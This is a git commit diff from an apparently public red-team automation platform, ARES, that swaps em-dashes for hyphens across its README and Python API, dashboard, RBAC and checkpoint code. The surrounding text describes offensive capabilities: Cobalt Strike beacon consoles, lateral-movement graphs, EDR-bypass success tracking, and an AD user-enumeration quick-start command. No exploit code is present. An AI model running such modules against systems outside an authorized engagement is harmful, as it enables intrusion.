Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

refactor(overview): redesign dashboard, clean redundant data, and remove em-dash characters

Mafifriziad7ab116dd2e
diff --git a/README.md b/README.md
index 4b8d297..57b8c50 100644
--- a/README.md
+++ b/README.md
@@ -101,13 +101,13 @@ The ARES Platform features a high-performance, responsive operator dashboard eng
![ARES Operator Enclave & Zero-Trust Authentication Gateway](docs/assets/screenshots/login-enclave.png)
-*ARES Operator Enclave — Sign In button erupts with crimson plasma fire on hover, click, and Enter key. Dynamic Architectural Grid canvas, system environment specifications, and ARES Cyber Dragon mascot on the right panel.*
+*ARES Operator Enclave - Sign In button erupts with crimson plasma fire on hover, click, and Enter key. Dynamic Architectural Grid canvas, system environment specifications, and ARES Cyber Dragon mascot on the right panel.*
</div>
- **The Problem Solved**: Eliminates unauthorized operator access, token replay attacks, and token leakage to local browser storage.
- **Key Capabilities**:
- - **Crimson Fire Signature Interaction**: Real-time HTML5 Canvas particle fire system envelops the Sign In button on hover (continuous), click (burst), and Enter key (burst without pointer) — physics-based particles with buoyancy, turbulence, and radial glow using `requestAnimationFrame`.
+ - **Crimson Fire Signature Interaction**: Real-time HTML5 Canvas particle fire system envelops the Sign In button on hover (continuous), click (burst), and Enter key (burst without pointer) - physics-based particles with buoyancy, turbulence, and radial glow using `requestAnimationFrame`.
- **ARES Cyber Dragon Ambient Mascot**: Integrated brand mascot watermark on the telemetry pane with calibrated opacity and crimson back-glow, harmonized with frosted glass environment specs.
- Live **Dynamic Architectural Grid Canvas**: Low-overhead hardware-accelerated 60 FPS HTML5 canvas with real-time traveling data pulses and cursor proximity illumination.
- **Memory-Only Token Isolation**: Short-lived JWTs reside strictly in memory; refresh credentials use host-only, HttpOnly cookies with one-time rotation.
@@ -131,13 +131,13 @@ The ARES Platform features a high-performance, responsive operator dashboard eng
![ARES Executive Overview Standby & Fresh-Install Hero](docs/assets/screenshots/dashboard-overview-empty.png)
-*Tactical Zero-State Overview — Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*
+*Tactical Zero-State Overview - Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*
</div>
- **The Problem Solved**: Aggregates scattered offensive metrics into a single real-time operational pane without requiring manual status queries.
- **Key Capabilities**:
- - **Operational Design System**: Engineered with high-density visual hierarchy (inspired by Grafana, Linear, and Sentry) — featuring subtle left-accented contextual panels (`panel-subtle`), dynamic reactive topbar health indicators, and distinct dashed progress tracks for uninitialized metric baselines.
+ - **Operational Design System**: Engineered with high-density visual hierarchy (inspired by Grafana, Linear, and Sentry) - featuring subtle left-accented contextual panels (`panel-subtle`), dynamic reactive topbar health indicators, and distinct dashed progress tracks for uninitialized metric baselines.
- **Actionable Engagement Insights**: Replaces redundant raw counts with contextual security posture insights:
- *Engagement Posture*: Clear state delineation (`Staged`, `Executing`, or `Standby`) distinguishing scoped targets from executing campaigns.
- *Execution Health*: Real-time monitor of pipeline anomalies, module execution failures, and enclave stability.
@@ -199,14 +199,14 @@ The ARES Platform features a high-performance, responsive operator dashboard eng
![ARES Multi-Vector Pivot Graph & Cobalt Strike Beacon Terminal Console](docs/assets/screenshots/dashboard-graph.png)
-*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Terminal Console — Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege borders (SYSTEM * / ADMIN / BEACON), and real-time interactive command terminal.*
+*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Terminal Console - Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege borders (SYSTEM * / ADMIN / BEACON), and real-time interactive command terminal.*
</div>
- **The Problem Solved**: Translates raw active directory vulnerabilities and compromised footholds into visual, navigable lateral pivot chains while providing offensive operators an immediate interactive command console without switching windows.
- **Key Capabilities**:
- **Hierarchical Enterprise Pivot Graph**: Strict left-to-right adversary traversal topology showing perimeter ingress firewall (`K8S-INGRESS-01`), initial foothold workstations (`WS-FIN-042`, `AWS-IMDS-GW`), internal database and file servers (`SQL01`, `FS01`), and high-value Active Directory Domain Controllers (`DC01`).
- - **Authentic Visual Privilege Semantics**: Dynamic glowing border indicators reflecting actual compromise tiers — Crimson `SYSTEM *` for Tier-0 Domain Controllers, Amber `ADMIN` for internal servers, Cyan `BEACON` for compromised user workstations, and Red Brick Firewall nodes for perimeter ingress.
+ - **Authentic Visual Privilege Semantics**: Dynamic glowing border indicators reflecting actual compromise tiers - Crimson `SYSTEM *` for Tier-0 Domain Controllers, Amber `ADMIN` for internal servers, Cyan `BEACON` for compromised user workstations, and Red Brick Firewall nodes for perimeter ingress.
- **Organic Cubic Bezier Routing & Telemetry Stream**: Fluid vector curves with directional arrowheads and animated glowing particle pulses visualizing live command-and-control and pivot traffic.
- **Persistent Click-to-Lock Pathway Tracking**: Click any node to instantly freeze its upstream compromise lineage and downstream lateral reachability, complete with a tactical HUD banner (`• PATHWAY LOCKED: [HOST] | N NODES | N HOPS`). Freely zoom and pan across complex topologies without losing situational focus.
- **Docked Multi-Row Beacon Terminal Console (`CobaltSessionDock`)**:
@@ -735,7 +735,7 @@ ARES is distributed under the open-source **[MIT License](LICENSE)**.
<div align="center">
-**ARES — Enterprise-Grade Autonomous Red Team Engagement System.**
+**ARES - Enterprise-Grade Autonomous Red Team Engagement System.**
*Continuous Security Validation. Zero Collateral Risk.*
</div>
diff --git a/ares/__init__.py b/ares/__init__.py
index f74d30b..89c01a7 100644
--- a/ares/__init__.py
+++ b/ares/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — Automated Red team Engagement System
+ARES - Automated Red team Engagement System
Active Recon & Exploitation Suite for structured, AI-guided penetration testing.
Quickstart:
diff --git a/ares/__version__.py b/ares/__version__.py
index 3cf6b45..d151631 100644
--- a/ares/__version__.py
+++ b/ares/__version__.py
@@ -1,4 +1,4 @@
-"""ARES version — single source of truth from pyproject.toml."""
+"""ARES version - single source of truth from pyproject.toml."""
try:
from importlib.metadata import version
__version__: str = version("ares-redteam")
diff --git a/ares/api/__init__.py b/ares/api/__init__.py
index 0130cff..6f536d5 100644
--- a/ares/api/__init__.py
+++ b/ares/api/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — api
+ARES - api
ARES REST API (FastAPI application)
Public API for this package. Import from here in production code:
diff --git a/ares/api/dashboard/__init__.py b/ares/api/dashboard/__init__.py
index 0ed93fd..1e99559 100644
--- a/ares/api/dashboard/__init__.py
+++ b/ares/api/dashboard/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — api.dashboard
+ARES - api.dashboard
Real-time campaign dashboard
Public API for this package. Import from here in production code:
diff --git a/ares/api/dashboard/app.py b/ares/api/dashboard/app.py
index 351be63..c14ebda 100644
--- a/ares/api/dashboard/app.py
+++ b/ares/api/dashboard/app.py
@@ -40,7 +40,7 @@ async def _require_dashboard_auth(
"""
Validate JWT or API key. Raises 401 if missing/invalid.
Accepts: Authorization: Bearer <token> OR X-API-Key: <key>
- Deliberately minimal — dashboard is read-only, any authenticated user is allowed.
+ Deliberately minimal - dashboard is read-only, any authenticated user is allowed.
"""
from ares.core.config import get_settings
from ares.core.security import decode_access_token
@@ -65,7 +65,7 @@ async def _require_dashboard_auth(
except HTTPException:
raise
except Exception:
- pass # DB unavailable — still accept if token signature valid
+ pass # DB unavailable - still accept if token signature valid
return
# Check X-API-Key header
@@ -110,7 +110,7 @@ dashboard_app = FastAPI(
)
# WebSocket connections for live streaming
-live_connections: list[WebSocket] = [] # public — exported for testing
+live_connections: list[WebSocket] = [] # public - exported for testing
_live_connections = live_connections # private alias for internal use
@@ -212,13 +212,13 @@ select,input{background:var(--card);color:var(--text);border:1px solid var(--bor
<!-- Stats row -->
<div class="stat-row" id="stats-row">
- <div class="stat-card score"><div class="val" id="stat-risk">—</div><div class="label">Risk Score</div></div>
- <div class="stat-card critical"><div class="val" id="stat-critical">—</div><div class="label">Critical</div></div>
- <div class="stat-card high"><div class="val" id="stat-high">—</div><div class="label">High</div></div>
- <div class="stat-card medium"><div class="val" id="stat-medium">—</div><div class="label">Medium</div></div>
- <div class="stat-card low"><div class="val" id="stat-low">—</div><div class="label">Low</div></div>
- <div class="stat-card"><div class="val" id="stat-hosts" style="color:var(--blue)">—</div><div class="label">Hosts</div></div>
- <div class="stat-card"><div class="val" id="stat-creds" style="color:var(--yellow)">—</div><div class="label">Credentials</div></div>
+ <div class="stat-card score"><div class="val" id="stat-risk"> - </div><div class="label">Risk Score</div></div>
+ <div class="stat-card critical"><div class="val" id="stat-critical"> - </div><div class="label">Critical</div></div>
+ <div class="stat-card high"><div class="val" id="stat-high"> - </div><div class="label">High</div></div>
+ <div class="stat-card medium"><div class="val" id="stat-medium"> - </div><div class="label">Medium</div></div>
+ <div class="stat-card low"><div class="val" id="stat-low"> - </div><div class="label">Low</div></div>
+ <div class="stat-card"><div class="val" id="stat-hosts" style="color:var(--blue)"> - </div><div class="label">Hosts</div></div>
+ <div class="stat-card"><div class="val" id="stat-creds" style="color:var(--yellow)"> - </div><div class="label">Credentials</div></div>
</div>
<!-- Findings tab -->
@@ -355,10 +355,10 @@ function renderFindings(findings) {
<tr>
<td><span class="badge ${escCssToken(f.severity)}">${escHtml(String(f.severity || 'info').toUpperCase())}</span></td>
<td>${escHtml(f.title)}</td>
- <td>${f.mitre_technique ? `<span class="mitre">${escHtml(f.mitre_technique)}</span>` : '<span style="color:var(--muted)">—</span>'}</td>
+ <td>${f.mitre_technique ? `<span class="mitre">${escHtml(f.mitre_technique)}</span>` : '<span style="color:var(--muted)"> - </span>'}</td>
<td style="font-family:monospace;font-size:.78rem">${escHtml(f.module_id || '')}</td>
<td class="conf">${Math.round((f.confidence||1)*100)}%</td>
- <td style="font-family:monospace;font-size:.78rem">${escHtml(f.host||'—')}</td>
+ <td style="font-family:monospace;font-size:.78rem">${escHtml(f.host||' - ')}</td>
</tr>
`).join('');
}
@@ -401,7 +401,7 @@ function connectLiveFeed() {
const proto = location.protocol === 'https:' ? 'wss' : 'ws';
ws = new WebSocket(`${proto}://${location.host}/ws/live`);
ws.onopen = () => { appendLive('🟢 Connected to live feed'); };
- ws.onclose = () => { appendLive('🔴 Disconnected — reconnecting in 5s...'); setTimeout(connectLiveFeed, 5000); };
+ ws.onclose = () => { appendLive('🔴 Disconnected - reconnecting in 5s...'); setTimeout(connectLiveFeed, 5000); };
ws.onmessage = (e) => {
try {
const d = JSON.parse(e.data);
@@ -499,7 +499,7 @@ def _get_db() -> "AresDatabase":
db = getattr(dashboard_app.state, "db", None)
if db is not None:
return db
- # Standalone fallback — create per-request (not ideal, but safe)
+ # Standalone fallback - create per-request (not ideal, but safe)
from ares.core.config import get_settings
from ares.db.database import AresDatabase as _DB
s = get_settings()
@@ -619,17 +619,17 @@ async def websocket_live(websocket: WebSocket) -> None:
except (RuntimeError, ConnectionError):
pass
finally:
- # Always clean up — regardless of which exception disconnected the client
+ # Always clean up - regardless of which exception disconnected the client
if websocket in _live_connections:
_live_connections.remove(websocket)
logger.info("dashboard_ws_disconnect", total=len(_live_connections))
async def broadcast_finding(finding_dict: dict[str, Any]) -> None:
- """Call this from the engine when a finding is confirmed — pushes to all dashboard clients."""
+ """Call this from the engine when a finding is confirmed - pushes to all dashboard clients."""
import json
dead: list[WebSocket] = []
- for ws in list(_live_connections): # snapshot — prevent concurrent modification
+ for ws in list(_live_connections): # snapshot - prevent concurrent modification
try:
await ws.send_text(json.dumps(finding_dict, default=str))
except (RuntimeError, ConnectionError):
diff --git a/ares/api/graph.py b/ares/api/graph.py
index febcccf..935bd6d 100644
--- a/ares/api/graph.py
+++ b/ares/api/graph.py
@@ -3,9 +3,9 @@ ARES Campaign Graph API
Builds the attack graph data structure for frontend visualization.
Returns JSON with:
- nodes — hosts, users, credentials, pivots, findings
- edges — attack paths, credential flows, lateral movement
- layout — suggested layout hints (hierarchical, force-directed)
+ nodes - hosts, users, credentials, pivots, findings
+ edges - attack paths, credential flows, lateral movement
+ layout - suggested layout hints (hierarchical, force-directed)
Frontend can render with:
- D3.js (force-directed)
@@ -13,19 +13,19 @@ Frontend can render with:
- vis.js (timeline + network)
Node types:
- host — discovered hosts (color by compromise level)
- credential — credentials (color by privilege)
- user — AD users / service accounts
- pivot — pivot tunnels
- finding — individual findings (severity → color)
- dc — Domain Controllers (special shape)
+ host - discovered hosts (color by compromise level)
+ credential - credentials (color by privilege)
+ user - AD users / service accounts
+ pivot - pivot tunnels
+ finding - individual findings (severity → color)
+ dc - Domain Controllers (special shape)
Edge types:
- compromise — "host A was compromised via module X"
- credential — "credential flows from A to B"
- lateral — "lateral movement A → B"
- pivot — "pivot route A → B"
- discovery — "B was discovered from A"
+ compromise - "host A was compromised via module X"
+ credential - "credential flows from A to B"
+ lateral - "lateral movement A → B"
+ pivot - "pivot route A → B"
+ discovery - "B was discovered from A"
Usage:
from ares.api.graph import build_campaign_graph
diff --git a/ares/api/rbac.py b/ares/api/rbac.py
index 36bb8a2..1fd70c7 100644
--- a/ares/api/rbac.py
+++ b/ares/api/rbac.py
@@ -1,18 +1,18 @@
"""
-ARES API RBAC + Rate Limiting — v3.0.0
+ARES API RBAC + Rate Limiting - v3.0.0
Roles:
- team_lead — full access
- operator — run modules, view findings, manage campaigns
- recon — enum-only modules, read-only campaigns/graph
- reporter — read-only findings, reports, telemetry
+ team_lead - full access
+ operator - run modules, view findings, manage campaigns
+ recon - enum-only modules, read-only campaigns/graph
+ reporter - read-only findings, reports, telemetry
Rate Limiting strategy (priority order):
1. Redis sliding-window (if ARES_REDIS_URL is set) ← multi-pod safe
2. In-process token bucket (fallback for single-pod / dev)
Redis rate limit key format: ares:rl:{bucket}:{key}
-Uses ZADD + ZREMRANGEBYSCORE + ZCARD — atomic in single pipeline call.
+Uses ZADD + ZREMRANGEBYSCORE + ZCARD - atomic in single pipeline call.
TTL auto-expires keys after 120s to prevent memory leaks.
"""
from __future__ import annotations
@@ -78,7 +78,7 @@ class AuthenticatedUser:
@property
def operator_role(self) -> OperatorRole:
- """Convert string role to OperatorRole enum (safe — defaults to REPORTER)."""
+ """Convert string role to OperatorRole enum (safe - defaults to REPORTER)."""
try:
return OperatorRole(self.role)
except ValueError:
@@ -392,7 +392,7 @@ class _RedisRateLimiter:
# results[1] = count BEFORE this request was added
count = int(results[1])
if count >= max_per_minute:
- # Over limit — remove the member we just added
+ # Over limit - remove the member we just added
await self._r.zrem(window_key, member)
return False, 0
@@ -422,11 +422,11 @@ class APIRateLimiter:
logger.info("rate_limiter_mode", backend="redis")
def is_allowed(self, key: str, max_per_minute: int) -> tuple[bool, int]:
- """Sync fallback — used by global middleware (which can't easily await)."""
+ """Sync fallback - used by global middleware (which can't easily await)."""
return self._inprocess.is_allowed(key, max_per_minute)
async def is_allowed_async(self, key: str, max_per_minute: int) -> tuple[bool, int]:
- """Async check — preferred for endpoint dependencies."""
+ """Async check - preferred for endpoint dependencies."""
if self._redis_mode and self._redis:
try:
return await self._redis.is_allowed_async(key, max_per_minute)
@@ -449,7 +449,7 @@ class APIRateLimiter:
return remaining
def check_or_raise(self, key: str, max_per_minute: int, detail: str = "") -> int:
- """Sync version of check_or_raise — used in non-async contexts."""
+ """Sync version of check_or_raise - used in non-async contexts."""
allowed, remaining = self.is_allowed(key, max_per_minute)
if not allowed:
raise HTTPException(
@@ -481,7 +481,7 @@ def get_limiter() -> APIRateLimiter:
def rate_limit(bucket: str = "global") -> Any:
"""
- FastAPI async dependency — checks rate limit for request IP.
+ FastAPI async dependency - checks rate limit for request IP.
Uses Redis if available, otherwise in-process.
Usage:
@@ -513,10 +513,10 @@ def _role_can_access(role: str, method: str, path: str) -> bool:
Return True if `role` may call `method` on `path`.
Rules:
- team_lead — full access to everything
- operator — GET/POST/DELETE on most paths except /auth/register
- recon — GET only (except enumeration modules); no write access
- reporter — GET only on /campaigns, /findings, /reports, /telemetry
+ team_lead - full access to everything
+ operator - GET/POST/DELETE on most paths except /auth/register
+ recon - GET only (except enumeration modules); no write access
+ reporter - GET only on /campaigns, /findings, /reports, /telemetry
"""
role = role.lower()
method = method.upper()
@@ -671,7 +671,7 @@ def check_endpoint_access(actor: AuthenticatedUser, method: str, path: str) -> N
def init_user_store(store: dict) -> None:
"""
- Backward-compatibility shim — intentional no-op.
+ Backward-compatibility shim - intentional no-op.
In ARES ≥ 0.5 all users are managed by AresDatabase.
This function is retained so older integrations do not break.
diff --git a/ares/api/server.py b/ares/api/server.py
index 4e516ae..2646525 100644
--- a/ares/api/server.py
+++ b/ares/api/server.py
@@ -1,13 +1,13 @@
"""
ARES API Server v6.0.0
-FastAPI — DB-persistent, WebSocket events, refresh tokens, API key auth, pagination.
+FastAPI - DB-persistent, WebSocket events, refresh tokens, API key auth, pagination.
v6.0.0 changes vs v1.0.0:
- ✓ AresDatabase injected via app.state — no more in-memory dicts
+ ✓ AresDatabase injected via app.state - no more in-memory dicts
✓ Persistent user store (users table, DB-backed)
✓ Refresh token endpoint + rotation on use
✓ API key auth (X-API-Key header) for CI/CD automation
- ✓ WebSocket /ws/campaigns/{id}/events — real-time module progress
+ ✓ WebSocket /ws/campaigns/{id}/events - real-time module progress
✓ Pagination on /campaigns, /campaigns/{id}/findings
✓ X-RateLimit-Remaining + X-Total-Count response headers
✓ JWT-only account management and API-key lifecycle endpoints
@@ -473,7 +473,7 @@ async def lifespan(app: FastAPI) -> AsyncGenerator[None, None]:
_dash_app.state.db = _db
except Exception as exc:
logger.debug("legacy_dashboard_db_share_skipped", error=str(exc))
- pass # dashboard not loaded — silently skip
+ pass # dashboard not loaded - silently skip
# Wire ARES_RATE_LIMIT_RPM setting into global rate limit bucket
# Without this, operator changes to ARES_RATE_LIMIT_RPM have no effect
@@ -543,7 +543,7 @@ async def lifespan(app: FastAPI) -> AsyncGenerator[None, None]:
yield
- # Graceful shutdown — cancel background task before closing DB
+ # Graceful shutdown - cancel background task before closing DB
_cleanup_task.cancel()
await asyncio.gather(_cleanup_task, return_exceptions=True)
app.state.c_live_runtime = None
@@ -559,7 +559,7 @@ except Exception as exc:
app = FastAPI(
title="ARES API",
- description="Automated Red team Engagement System — v6.0.0",
+ description="Automated Red team Engagement System - v6.0.0",
version=_ares_version,
lifespan=lifespan,
docs_url="/docs" if _debug else None,
@@ -583,7 +583,7 @@ _mount_dashboard(app)
@app.middleware("http")
async def _block_docs_in_production(request: Request, call_next: Any) -> Any:
"""Return 404 for /docs, /redoc, /openapi.json when ares_debug=False.
- Evaluated at request time — not baked at import.
+ Evaluated at request time - not baked at import.
"""
if request.url.path in ("/docs", "/redoc", "/openapi.json"):
try:
@@ -600,8 +600,8 @@ async def _block_docs_in_production(request: Request, call_next: Any) -> Any:
# ── Middleware ────────────────────────────────────────────────────────────────
-# ── Request body size limit — prevent DoS via oversized payloads ──────────────
-_MAX_BODY_MB = 10 # 10 MB — enough for module payloads, rejects abuse
+# ── Request body size limit - prevent DoS via oversized payloads ──────────────
+_MAX_BODY_MB = 10 # 10 MB - enough for module payloads, rejects abuse
_MAX_BODY_BYTES = _MAX_BODY_MB * 1024 * 1024
@@ -668,9 +668,9 @@ app.add_middleware(
)
app.add_middleware(
TrustedHostMiddleware,
- allowed_hosts=_trusted_hosts, # No wildcard — must be explicit
+ allowed_hosts=_trusted_hosts, # No wildcard - must be explicit
)
-# Body size limit — registered after TrustedHost so it runs on trusted requests only.
+# Body size limit - registered after TrustedHost so it runs on trusted requests only.
# BaseHTTPMiddleware approach (vs @app.middleware) works in both uvicorn and TestClient.
app.add_middleware(_BodySizeLimitMiddleware)
@@ -705,7 +705,7 @@ async def security_headers(request: Request, call_next: Any) -> Any:
"base-uri 'self'; "
"frame-ancestors 'none'"
)
- # HSTS is only meaningful on HTTPS — don't send on plain HTTP
+ # HSTS is only meaningful on HTTPS - don't send on plain HTTP
if request.url.scheme == "https":
response.headers["Strict-Transport-Security"] = (
"max-age=31536000; includeSubDomains"
@@ -764,7 +764,7 @@ async def _require_campaign_access(
campaign: dict,
actor: AuthenticatedUser,
) -> None:
- """Raise 404 (not 403) if actor cannot access campaign — avoids campaign enumeration."""
+ """Raise 404 (not 403) if actor cannot access campaign - avoids campaign enumeration."""
if actor.role != "team_lead" and campaign.get("operator") != actor.username:
raise HTTPException(404, "Campaign not found")
@@ -1051,7 +1051,7 @@ async def http_exception_handler(request: Request, exc: HTTPException) -> JSONRe
@app.exception_handler(Exception)
async def generic_exception_handler(request: Request, exc: Exception) -> JSONResponse:
- """Catch-all handler — prevents stack trace leaking in 500 responses."""
+ """Catch-all handler - prevents stack trace leaking in 500 responses."""
logger.error(
"unhandled_exception",
path=request.url.path,
@@ -1153,7 +1153,7 @@ async def login(
headers={"Retry-After": "60"},
)
- # Guard against bcrypt DoS — OAuth2PasswordRequestForm has no max_length
+ # Guard against bcrypt DoS - OAuth2PasswordRequestForm has no max_length
if len(form.password) > 128:
raise HTTPException(status_code=400, detail="Password too long")
@@ -1337,7 +1337,7 @@ async def register(
db: AresDatabase = Depends(get_db),
) -> dict[str, str]:
"""Register new operator. Requires: team_lead role + rate limit."""
- # Rate-limit registration even for team_leads — prevents abuse if token stolen
+ # Rate-limit registration even for team_leads - prevents abuse if token stolen
ip = request.client.host if request.client else "unknown"
await _limiter.check_or_raise_async(
f"register:{ip}",
@@ -1391,7 +1391,7 @@ async def change_password(
)
if not changed:
raise HTTPException(401, "Not authenticated")
- # Revoke the current access token by jti — same as logout() —
+ # Revoke the current access token by jti - same as logout() -
# so the old token cannot be reused within its remaining expiry window.
return {"status": "ok", "note": "All existing sessions revoked"}
@@ -1418,7 +1418,7 @@ async def create_api_key(
actor: AuthenticatedUser = Depends(require_any_auth()),
db: AresDatabase = Depends(get_db),
) -> dict[str, str]:
- """Create API key for CI/CD automation. Key is shown ONCE — save it."""
+ """Create API key for CI/CD automation. Key is shown ONCE - save it."""
user = await db.get_user(actor.username)
if not user:
raise HTTPException(404, "User not found")
@@ -1429,7 +1429,7 @@ async def create_api_key(
return {
"id": key_id,
"key": raw_key,
- "note": "Save this key — it will NOT be shown again.",
+ "note": "Save this key - it will NOT be shown again.",
"prefix": raw_key[:12],
}
@@ -2362,11 +2362,11 @@ def _require_high_noise_module_access(
return
if len(rejected) == 1:
- detail = f"{rejected[0]!r} is HIGH_NOISE — team_lead only."
+ detail = f"{rejected[0]!r} is HIGH_NOISE - team_lead only."
else:
detail = (
f"{', '.join(repr(module_id) for module_id in rejected)} "
- "are HIGH_NOISE — team_lead only."
+ "are HIGH_NOISE - team_lead only."
)
raise HTTPException(status_code=403, detail=detail)
@@ -2651,7 +2651,7 @@ async def report_bypass_outcome(
if rate is not None and rate < 0.25:
warning = (
f"Technique '{body.technique_id}' success rate is only {rate:.0%} "
- f"against {body.edr_vendor} — likely patched or detected."
+ f"against {body.edr_vendor} - likely patched or detected."
)
return {"saved": True, "historical_rate": rate, "warning": warning}
return {"saved": False, "error": "Database not available"}
@@ -3135,7 +3135,7 @@ async def campaign_events(
):
return
while True:
- # Keep alive — wait for disconnect or ping
+ # Keep alive - wait for disconnect or ping
try:
data = await asyncio.wait_for(websocket.receive_text(), timeout=30.0)
if data == "ping":
@@ -3174,7 +3174,7 @@ async def get_cvss_summary(
actor: AuthenticatedUser = _api_key_read_dep,
db: AresDatabase = Depends(get_db),
) -> dict[str, Any]:
- """CVSS v3.1 score summary for a campaign — for compliance reports (PCI-DSS, ISO 27001)."""
+ """CVSS v3.1 score summary for a campaign - for compliance reports (PCI-DSS, ISO 27001)."""
campaign = await db.get_campaign(campaign_id)
if not campaign:
raise HTTPException(404, "Campaign not found")
@@ -3634,7 +3634,7 @@ async def campaign_attack_paths(
if not graph.stats()["nodes"]:
return {
"campaign_id": campaign_id,
- "message": "No artifact data yet — run recon modules first",
+ "message": "No artifact data yet - run recon modules first",
"paths": [],
"stats": graph.stats(),
}
@@ -3934,10 +3934,10 @@ async def campaign_diff(
Delta report comparing two campaigns.
Returns:
- new_findings — in campaign_id but not other_id (new issues)
- fixed_findings — in other_id but not campaign_id (remediated)
- severity_changed — same finding, CVSS score changed ≥ 1.0
- summary — risk_improved bool, delta counts per severity
+ new_findings - in campaign_id but not other_id (new issues)
+ fixed_findings - in other_id but not campaign_id (remediated)
+ severity_changed - same finding, CVSS score changed ≥ 1.0
+ summary - risk_improved bool, delta counts per severity
Findings matched by normalized title (case-insensitive).
Useful for: "what changed since last month's engagement?"
@@ -4179,7 +4179,7 @@ async def ingest_bloodhound(
"graph_stats": graph.stats(),
}
except ImportError:
- raise HTTPException(503, "networkx required — pip install networkx")
+ raise HTTPException(503, "networkx required - pip install networkx")
except HTTPException:
raise
except Exception as exc:
diff --git a/ares/artifact_intel/__init__.py b/ares/artifact_intel/__init__.py
index 7e033ed..7f1d401 100644
--- a/ares/artifact_intel/__init__.py
+++ b/ares/artifact_intel/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — artifact_intel
+ARES - artifact_intel
Artifact correlation and attack opportunity detection
Public API for this package. Import from here in production code:
diff --git a/ares/artifact_intel/correlation.py b/ares/artifact_intel/correlation.py
index e5e9e5f..46f64d7 100644
--- a/ares/artifact_intel/correlation.py
+++ b/ares/artifact_intel/correlation.py
@@ -361,7 +361,7 @@ class ArtifactCorrelationEngine:
title = f"Public cloud resource: {res.provider}/{res.resource_type} {res.resource_id!r}",
description = (
f"Public {res.provider} {res.resource_type} discovered. "
- f"{'Credentials available for deeper access.' if cloud_creds else 'No credentials yet — enumerate.'}"
+ f"{'Credentials available for deeper access.' if cloud_creds else 'No credentials yet - enumerate.'}"
),
severity = "medium",
confidence = 0.85,
diff --git a/ares/checkpoint/__init__.py b/ares/checkpoint/__init__.py
index c8adaf1..160401f 100644
--- a/ares/checkpoint/__init__.py
+++ b/ares/checkpoint/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — checkpoint
+ARES - checkpoint
Campaign checkpoint save/restore
Public API for this package. Import from here in production code:
diff --git a/ares/checkpoint/manager.py b/ares/checkpoint/manager.py
index 4ce1d5a..9686ebd 100644
--- a/ares/checkpoint/manager.py
+++ b/ares/checkpoint/manager.py
@@ -80,7 +80,7 @@ class CheckpointManifest:
class CheckpointData:
"""Full serialized campaign state."""
manifest: CheckpointManifest = field(default_factory=CheckpointManifest)
- campaign_id: str = "" # convenience field — mirrors manifest.campaign_id
+ campaign_id: str = "" # convenience field - mirrors manifest.campaign_id
vault: dict[str, Any] = field(default_factory=dict) # encrypted credential store
campaign: dict[str, Any] = field(default_factory=dict)
session: dict[str, Any] = field(default_factory=dict) # OperatorSession.snapshot()
@@ -124,7 +124,7 @@ class CheckpointManager:
data = mgr.load(campaign_id)
"""
- # Fixed salt for checkpoint key derivation — deterministic so same key always
+ # Fixed salt for checkpoint key derivation - deterministic so same key always
# produces same Fernet key across restarts (no salt storage required).
_KDF_SALT = b"ares-checkpoint-manager-v1-salt"
@@ -141,7 +141,7 @@ class CheckpointManager:
else:
raise TypeError(f"encryption_key must be str or bytes, got {type(encryption_key)}")
- # PBKDF2-HMAC-SHA256 — consistent with security.DataEncryptor (100k iterations)
+ # PBKDF2-HMAC-SHA256 - consistent with security.DataEncryptor (100k iterations)
kdf = PBKDF2HMAC(
algorithm=_hashes.SHA256(),
length=32,
@@ -175,7 +175,7 @@ class CheckpointManager:
ckpt_path.write_bytes(encrypted)
- # Update "latest" pointer — use a regular file copy (Windows doesn't always support symlinks)
+ # Update "latest" pointer - use a regular file copy (Windows doesn't always support symlinks)
latest = campaign_dir / f"latest{CHECKPOINT_EXT}"
try:
import shutil as _shutil
@@ -336,7 +336,7 @@ def _build_checkpoint_full(
manifest = manifest,
session = session_snapshot,
campaign = {"id": campaign_id, "name": campaign_name},
- credential_ids = [], # IDs only — secrets stay in vault
+ credential_ids = [], # IDs only - secrets stay in vault
pending_tasks = pending_tasks or [],
completed_steps = completed_steps or [],
timeline = timeline or [],
@@ -352,8 +352,8 @@ def build_checkpoint(
) -> "CheckpointData":
"""
Flexible checkpoint builder. Accepts:
- build_checkpoint(session) — unit test style
- build_checkpoint(campaign_id=..., operator=..., ...) — integration style
+ build_checkpoint(session) - unit test style
+ build_checkpoint(campaign_id=..., operator=..., ...) - integration style
"""
from ares.state.target_state import OperatorSession
diff --git a/ares/cli/__init__.py b/ares/cli/__init__.py
index 52c9aca..8c7c97e 100644
--- a/ares/cli/__init__.py
+++ b/ares/cli/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES CLI — Typer-based command line interface.
+ARES CLI - Typer-based command line interface.
Entry point: ``ares`` console script → ares.cli.main:cli
diff --git a/ares/cli/_store.py b/ares/cli/_store.py
index 65fad1e..fac64d7 100644
--- a/ares/cli/_store.py
+++ b/ares/cli/_store.py
@@ -1,5 +1,5 @@
"""
-Shared CLI persistence helpers — campaign JSON store on local disk.
+Shared CLI persistence helpers - campaign JSON store on local disk.
Used by typer_main.py for all campaign read/write operations.
"""
from __future__ import annotations
diff --git a/ares/cli/typer_main.py b/ares/cli/typer_main.py
index 71ff31e..8bd10ef 100644
--- a/ares/cli/typer_main.py
+++ b/ares/cli/typer_main.py
@@ -1,6 +1,6 @@
#!/usr/bin/env python3
"""
-ARES CLI — Typer-based command line interface.
+ARES CLI - Typer-based command line interface.
All subcommands use Python type annotations for automatic --help generation.
Structure:
@@ -54,7 +54,7 @@ from rich.table import Table
app = typer.Typer(
name = "ares",
help = (
- "ARES — Automated Red team Engagement System\n\n"
+ "ARES - Automated Red team Engagement System\n\n"
"[bold]Quick start:[/bold]\n"
" ares campaign create --name \"Lab\" --client ACME --targets 10.0.0.0/24\n"
" ares module run ad.enum_users --dc 10.0.0.5 --domain corp.local\n"
